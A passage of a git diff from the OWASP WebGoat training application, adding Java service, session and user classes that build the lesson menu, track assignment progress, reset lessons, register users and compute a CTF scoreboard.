Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.Properties; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * LabelService class. + * + * @author zupzup + */ +@RestController +@Slf4j +@RequiredArgsConstructor +public class LabelService { + + public static final String URL_LABELS_MVC = "/service/labels.mvc"; + private final Messages messages; + private final PluginMessages pluginMessages; + + /** + * @return a map of all the labels + */ + @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity fetchLabels() { + var allProperties = new Properties(); + allProperties.putAll(messages.getMessages()); + allProperties.putAll(pluginMessages.getMessages()); + return new ResponseEntity<>(allProperties, HttpStatus.OK); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java b/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java new file mode 100644 index 000000000..fcface416 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java @@ -0,0 +1,33 @@ +package org.owasp.webgoat.container.service; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.lessons.LessonInfoModel; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * LessonInfoService class. + * + * @author dm + * @version $Id: $Id + */ +@RestController +@AllArgsConstructor +public class LessonInfoService { + + private final WebSession webSession; + + /** + * getLessonInfo. + * + * @return a {@link LessonInfoModel} object. + */ + @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json") + public @ResponseBody LessonInfoModel getLessonInfo() { + Lesson lesson = webSession.getCurrentLesson(); + return new LessonInfoModel(lesson.getTitle(), false, false, false); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java b/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java new file mode 100644 index 000000000..961e10d47 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java @@ -0,0 +1,124 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.lessons.LessonMenuItem; +import org.owasp.webgoat.container.lessons.LessonMenuItemType; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.LessonTracker; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonMenuService class. + * + * @author rlawson + * @version $Id: $Id + */ +@Controller +@AllArgsConstructor +public class LessonMenuService { + + public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc"; + private final Course course; + private final WebSession webSession; + private UserTrackerRepository userTrackerRepository; + + @Value("#{'${exclude.categories}'.split(',')}") + private List excludeCategories; + + @Value("#{'${exclude.lessons}'.split(',')}") + private List excludeLessons; + + /** + * Returns the lesson menu which is used to build the left nav + * + * @return a {@link java.util.List} object. + */ + @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json") + public @ResponseBody List showLeftNav() { + List menu = new ArrayList<>(); + List categories = course.getCategories(); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + + for (Category category : categories) { + if (excludeCategories.contains(category.name())) { + continue; + } + LessonMenuItem categoryItem = new LessonMenuItem(); + categoryItem.setName(category.getName()); + categoryItem.setType(LessonMenuItemType.CATEGORY); + // check for any lessons for this category + List lessons = course.getLessons(category); + lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList(); + for (Lesson lesson : lessons) { + if (excludeLessons.contains(lesson.getName())) { + continue; + } + LessonMenuItem lessonItem = new LessonMenuItem(); + lessonItem.setName(lesson.getTitle()); + lessonItem.setLink(lesson.getLink()); + lessonItem.setType(LessonMenuItemType.LESSON); + LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); + boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson); + lessonItem.setComplete(lessonSolved); + categoryItem.addChild(lessonItem); + } + categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking()); + menu.add(categoryItem); + } + return menu; + } + + private boolean lessonCompleted(Map map, Lesson currentLesson) { + boolean result = true; + for (Map.Entry entry : map.entrySet()) { + Assignment storedAssignment = entry.getKey(); + for (Assignment lessonAssignment : currentLesson.getAssignments()) { + if (lessonAssignment.getName().equals(storedAssignment.getName())) { + result = result && entry.getValue(); + break; + } + } + } + return result; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java b/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java new file mode 100644 index 000000000..23fc38da5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java @@ -0,0 +1,57 @@ +package org.owasp.webgoat.container.service; + +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonProgressService class. + * + * @author webgoat + */ +@Controller +@RequiredArgsConstructor +public class LessonProgressService { + + private final UserTrackerRepository userTrackerRepository; + private final WebSession webSession; + + /** + * Endpoint for fetching the complete lesson overview which informs the user about whether all the + * assignments are solved. Used as the last page of the lesson to generate a lesson overview. + * + * @return list of assignments + */ + @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json") + @ResponseBody + public List lessonOverview() { + var userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + var currentLesson = webSession.getCurrentLesson(); + + if (currentLesson != null) { + var lessonTracker = userTracker.getLessonTracker(currentLesson); + return lessonTracker.getLessonOverview().entrySet().stream() + .map(entry -> new LessonOverview(entry.getKey(), entry.getValue())) + .toList(); + } + return List.of(); + } + + @AllArgsConstructor + @Getter + // Jackson does not really like returning a map of directly, see + // http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json + // so creating intermediate object is the easiest solution + private static class LessonOverview { + + private Assignment assignment; + private Boolean solved; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java b/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java new file mode 100644 index 000000000..d1c902880 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java @@ -0,0 +1,34 @@ +package org.owasp.webgoat.container.service; + +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonTitleService class. + * + * @author dm + * @version $Id: $Id + */ +@Controller +public class LessonTitleService { + + private final WebSession webSession; + + public LessonTitleService(final WebSession webSession) { + this.webSession = webSession; + } + + /** + * Returns the title for the current attack + * + * @return a {@link java.lang.String} object. + */ + @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html") + public @ResponseBody String showPlan() { + Lesson lesson = webSession.getCurrentLesson(); + return lesson != null ? lesson.getTitle() : ""; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java b/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java new file mode 100644 index 000000000..a01bce5c1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java @@ -0,0 +1,105 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.ArrayList; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.Setter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.LessonTracker; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * ReportCardService + * + * @author nbaars + * @version $Id: $Id + */ +@Controller +@AllArgsConstructor +public class ReportCardService { + + private final WebSession webSession; + private final UserTrackerRepository userTrackerRepository; + private final Course course; + private final PluginMessages pluginMessages; + + /** + * Endpoint which generates the report card for the current use to show the stats on the solved + * lessons + */ + @GetMapping(path = "/service/reportcard.mvc", produces = "application/json") + @ResponseBody + public ReportCard reportCard() { + final ReportCard reportCard = new ReportCard(); + reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); + reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments()); + + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved()); + reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved()); + for (Lesson lesson : course.getLessons()) { + LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); + final LessonStatistics lessonStatistics = new LessonStatistics(); + lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle())); + lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); + lessonStatistics.setSolved(lessonTracker.isLessonSolved()); + reportCard.lessonStatistics.add(lessonStatistics); + } + return reportCard; + } + + @Getter + @Setter + private final class ReportCard { + + private int totalNumberOfLessons; + private int totalNumberOfAssignments; + private int solvedLessons; + private int numberOfAssignmentsSolved; + private int numberOfLessonsSolved; + private List lessonStatistics = new ArrayList<>(); + } + + @Setter + @Getter + private final class LessonStatistics { + private String name; + private boolean solved; + private int numberOfAttempts; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java b/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java similarity index 54% rename from webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java rename to src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java index b207b4ce1..2f0450d9e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java +++ b/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java @@ -2,7 +2,7 @@ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

- * Copyright (c) 2002 - 20014 Bruce Mayhew + * Copyright (c) 2002 - 2014 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the @@ -21,46 +21,48 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. */ -package org.owasp.webgoat.service; +package org.owasp.webgoat.container.service; + +import java.util.List; +import java.util.function.Function; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.lessons.AbstractLesson; -import org.owasp.webgoat.session.WebSession; -import org.owasp.webgoat.users.UserTracker; -import org.owasp.webgoat.users.UserTrackerRepository; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseStatus; -/** - *

RestartLessonService class.

- * - * @author rlawson - * @version $Id: $Id - */ @Controller @AllArgsConstructor @Slf4j public class RestartLessonService { - private final WebSession webSession; - private UserTrackerRepository userTrackerRepository; + private final WebSession webSession; + private final UserTrackerRepository userTrackerRepository; + private final Function flywayLessons; + private final List lessonsToInitialize; - /** - * Returns current lesson - * - * @return a {@link java.lang.String} object. - */ - @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text") - @ResponseStatus(value = HttpStatus.OK) - public void restartLesson() { - AbstractLesson al = webSession.getCurrentLesson(); - log.debug("Restarting lesson: " + al); + @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text") + @ResponseStatus(value = HttpStatus.OK) + public void restartLesson() { + Lesson al = webSession.getCurrentLesson(); + log.debug("Restarting lesson: " + al); - UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); - userTracker.reset(al); - userTrackerRepository.save(userTracker); - } + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + userTracker.reset(al); + userTrackerRepository.save(userTracker); + + var flyway = flywayLessons.apply(webSession.getUserName()); + flyway.clean(); + flyway.migrate(); + + lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser())); + } } diff --git a/src/main/java/org/owasp/webgoat/container/service/SessionService.java b/src/main/java/org/owasp/webgoat/container/service/SessionService.java new file mode 100644 index 000000000..b1a14d2c2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/SessionService.java @@ -0,0 +1,33 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +package org.owasp.webgoat.container.service; + +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +@Controller +@RequiredArgsConstructor +public class SessionService { + + private final WebSession webSession; + private final RestartLessonService restartLessonService; + private final Messages messages; + + @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json") + @ResponseBody + public String applySecurity() { + webSession.toggleSecurity(); + restartLessonService.restartLesson(); + + var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled"; + return messages.getMessage(msg); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/Course.java b/src/main/java/org/owasp/webgoat/container/session/Course.java new file mode 100644 index 000000000..225af4053 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/Course.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat.container.session; + +import java.util.List; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +@Slf4j +public class Course { + + private List lessons; + + public Course(List lessons) { + this.lessons = lessons; + } + + /** + * Gets the categories attribute of the Course object + * + * @return The categories value + */ + public List getCategories() { + return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList(); + } + + /** + * Gets the firstLesson attribute of the Course object + * + * @return The firstLesson value + */ + public Lesson getFirstLesson() { + // Category 0 is the admin function. We want the first real category + // to be returned. This is normally the General category and the Http Basics lesson + return getLessons(getCategories().get(0)).get(0); + } + + /** + * Getter for the field lessons. + * + * @return a {@link java.util.List} object. + */ + public List getLessons() { + return this.lessons; + } + + /** + * Getter for the field lessons. + * + * @param category a {@link org.owasp.webgoat.container.lessons.Category} object. + * @return a {@link java.util.List} object. + */ + public List getLessons(Category category) { + return this.lessons.stream().filter(l -> l.getCategory() == category).toList(); + } + + public void setLessons(List lessons) { + this.lessons = lessons; + } + + public int getTotalOfLessons() { + return this.lessons.size(); + } + + public int getTotalOfAssignments() { + return this.lessons.stream() + .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java b/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java new file mode 100644 index 000000000..34e7b7111 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java @@ -0,0 +1,42 @@ +package org.owasp.webgoat.container.session; + +import java.io.Serializable; + +/** + * LabelDebugger class. + * + * @author dm + * @version $Id: $Id + */ +public class LabelDebugger implements Serializable { + + private boolean enabled = false; + + /** + * isEnabled. + * + * @return a boolean. + */ + public boolean isEnabled() { + return enabled; + } + + /** Enables label debugging */ + public void enable() { + this.enabled = true; + } + + /** Disables label debugging */ + public void disable() { + this.enabled = false; + } + + /** + * Sets the status to enabled + * + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + */ + public void setEnabled(boolean enabled) { + this.enabled = enabled; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java b/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java new file mode 100644 index 000000000..be55c3971 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java @@ -0,0 +1,32 @@ +package org.owasp.webgoat.container.session; + +import java.util.HashMap; + +/** Created by jason on 1/4/17. */ +public class UserSessionData { + + private HashMap userSessionData = new HashMap<>(); + + public UserSessionData() {} + + public UserSessionData(String key, String value) { + setValue(key, value); + } + + // GETTERS & SETTERS + public Object getValue(String key) { + if (!userSessionData.containsKey(key)) { + return null; + } + // else + return userSessionData.get(key); + } + + public void setValue(String key, Object value) { + if (userSessionData.containsKey(key)) { + userSessionData.replace(key, value); + } else { + userSessionData.put(key, value); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/WebSession.java b/src/main/java/org/owasp/webgoat/container/session/WebSession.java new file mode 100644 index 000000000..22b339db6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/WebSession.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.container.session; + +import java.io.Serializable; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Jeff Williams Aspect Security + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +public class WebSession implements Serializable { + + private static final long serialVersionUID = -4270066103101711560L; + private final WebGoatUser currentUser; + private transient Lesson currentLesson; + private boolean securityEnabled; + + public WebSession() { + this.currentUser = + (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + } + + /** + * Setter for the field currentScreen. + * + * @param lesson current lesson + */ + public void setCurrentLesson(Lesson lesson) { + this.currentLesson = lesson; + } + + /** + * getCurrentLesson. + * + * @return a {@link Lesson} object. + */ + public Lesson getCurrentLesson() { + return this.currentLesson; + } + + /** + * Gets the userName attribute of the WebSession object + * + * @return The userName value + */ + public String getUserName() { + return currentUser.getUsername(); + } + + public WebGoatUser getUser() { + return currentUser; + } + + public void toggleSecurity() { + this.securityEnabled = !this.securityEnabled; + } + + public boolean isSecurityEnabled() { + return securityEnabled; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java b/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java new file mode 100644 index 000000000..2cc0c58af --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java @@ -0,0 +1,109 @@ +package org.owasp.webgoat.container.users; + +import java.util.*; +import java.util.stream.Collectors; +import javax.persistence.*; +import lombok.Getter; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 29, 2003 + */ +@Entity +public class LessonTracker { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + @Getter private String lessonName; + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private final Set solvedAssignments = new HashSet<>(); + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private final Set allAssignments = new HashSet<>(); + + @Getter private int numberOfAttempts = 0; + @Version private Integer version; + + private LessonTracker() { + // JPA + } + + public LessonTracker(Lesson lesson) { + lessonName = lesson.getId(); + allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments()); + } + + public Optional getAssignment(String name) { + return allAssignments.stream().filter(a -> a.getName().equals(name)).findFirst(); + } + + /** + * Mark an assignment as solved + * + * @param solvedAssignment the assignment which the user solved + */ + public void assignmentSolved(String solvedAssignment) { + getAssignment(solvedAssignment).ifPresent(solvedAssignments::add); + } + + /** + * @return did they user solved all solvedAssignments for the lesson? + */ + public boolean isLessonSolved() { + return allAssignments.size() == solvedAssignments.size(); + } + + /** Increase the number attempts to solve the lesson */ + public void incrementAttempts() { + numberOfAttempts++; + } + + /** Reset the tracker. We do not reset the number of attempts here! */ + void reset() { + solvedAssignments.clear(); + } + + /** + * @return list containing all the assignments solved or not + */ + public Map getLessonOverview() { + List notSolved = + allAssignments.stream().filter(i -> !solvedAssignments.contains(i)).toList(); + Map overview = + notSolved.stream().collect(Collectors.toMap(a -> a, b -> false)); + overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true))); + return overview; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java b/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java new file mode 100644 index 000000000..4dc628f86 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.container.users; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.validation.Valid; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.stereotype.Controller; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PostMapping; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Controller +@AllArgsConstructor +@Slf4j +public class RegistrationController { + + private UserValidator userValidator; + private UserService userService; + private AuthenticationManager authenticationManager; + + @GetMapping("/registration") + public String showForm(UserForm userForm) { + return "registration"; + } + + @PostMapping("/register.mvc") + public String registration( + @ModelAttribute("userForm") @Valid UserForm userForm, + BindingResult bindingResult, + HttpServletRequest request) + throws ServletException { + userValidator.validate(userForm, bindingResult); + + if (bindingResult.hasErrors()) { + return "registration"; + } + userService.addUser(userForm.getUsername(), userForm.getPassword()); + request.login(userForm.getUsername(), userForm.getPassword()); + + return "redirect:/attack"; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java b/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java new file mode 100644 index 000000000..2f5ddefe2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java @@ -0,0 +1,83 @@ +package org.owasp.webgoat.container.users; + +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.Course; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * Temp endpoint just for the CTF. + * + * @author nbaars + * @since 3/23/17. + */ +@RestController +@AllArgsConstructor +public class Scoreboard { + + private final UserTrackerRepository userTrackerRepository; + private final UserRepository userRepository; + private final Course course; + private final PluginMessages pluginMessages; + + @AllArgsConstructor + @Getter + private class Ranking { + private String username; + private List flagsCaptured; + } + + @GetMapping("/scoreboard-data") + public List getRankings() { + List allUsers = userRepository.findAll(); + List rankings = new ArrayList<>(); + for (WebGoatUser user : allUsers) { + if (user.getUsername().startsWith("csrf-")) { + // the csrf- assignment specific users do not need to be in the overview + continue; + } + UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); + rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); + } + /* sort on number of captured flags to present an ordered ranking */ + rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size()); + return rankings; + } + + private List challengesSolved(UserTracker userTracker) { + List challenges = + List.of( + "Challenge1", + "Challenge2", + "Challenge3", + "Challenge4", + "Challenge5", + "Challenge6", + "Challenge7", + "Challenge8", + "Challenge9"); + return challenges.stream() + .map(userTracker::getLessonTracker) + .flatMap(Optional::stream) + .filter(LessonTracker::isLessonSolved) + .map(LessonTracker::getLessonName) + .map(this::toLessonTitle) + .toList(); + } + + private String toLessonTitle(String id) { + String titleKey = + course.getLessons().stream() + .filter(l -> l.getId().equals(id)) + .findFirst() + .map(Lesson::getTitle) + .orElse("No title"); + return pluginMessages.getMessage(titleKey, titleKey); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserForm.java b/src/main/java/org/owasp/webgoat/container/users/UserForm.java new file mode 100644 index 000000000..416bba094 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserForm.java @@ -0,0 +1,31 @@ +package org.owasp.webgoat.container.users; + +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Pattern; +import javax.validation.constraints.Size; +import lombok.Getter; +import lombok.Setter; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Setter +public class UserForm { + + @NotNull + @Size(min = 6, max = 45) + @Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -") + private String username; + + @NotNull + @Size(min = 6, max = 10) + private String password; + + @NotNull + 